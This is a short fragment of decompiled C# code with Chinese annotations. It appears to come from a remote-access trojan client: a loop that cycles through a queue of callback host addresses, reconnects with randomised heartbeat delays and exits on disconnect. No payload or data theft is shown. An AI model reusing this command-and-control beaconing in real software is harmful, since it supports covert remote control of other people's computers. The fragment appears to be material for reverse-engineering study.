// Token: 0x060005BC RID: 1468 private static void smethod_3() { while (Class10.bool_0 && !GClass0.Disconnect) { if (!Class10.bool_1) //判定连接状态未连接就等待一下重新连接 { Thread.Sleep(100 + new Random().Next(0, 250)); //延迟心跳包时间100+随机0-250 GClass24 gclass = Class10.gclass25_0.method_0(); //取出上线地址列表 Class10.client_0.Connect(gclass.Hostname, gclass.Port); //连接上线地址主机与端口 Thread.Sleep(200); //延迟200毫秒 Application.DoEvents(); //执行事件 } while (Class10.bool_1) //已连接就直接执行事件 { Application.DoEvents(); ////执行事件 Thread.Sleep(2500); } if (GClass0.Disconnect) //失去连接 { Class10.client_0.Disconnect(); //连接断开 return; //结束线程 } Thread.Sleep(GClass35.int_0 + new Random().Next(250, 750)); //延迟3000 + 250-750随机毫秒 } }
// Token: 0x060001EC RID: 492 RVA: 0x0000CF8C File Offset: 0x0000B18C public GClass24 method_0() { GClass24 gclass = this.queue_0.Dequeue(); this.queue_0.Enqueue(gclass); return(gclass); }
// Token: 0x06002798 RID: 10136 RVA: 0x00010D8E File Offset: 0x0000EF8E public GClass24(GClass24 gclass24_0) : base(gclass24_0.uint_0) { this.uint_1 = gclass24_0.uint_1; }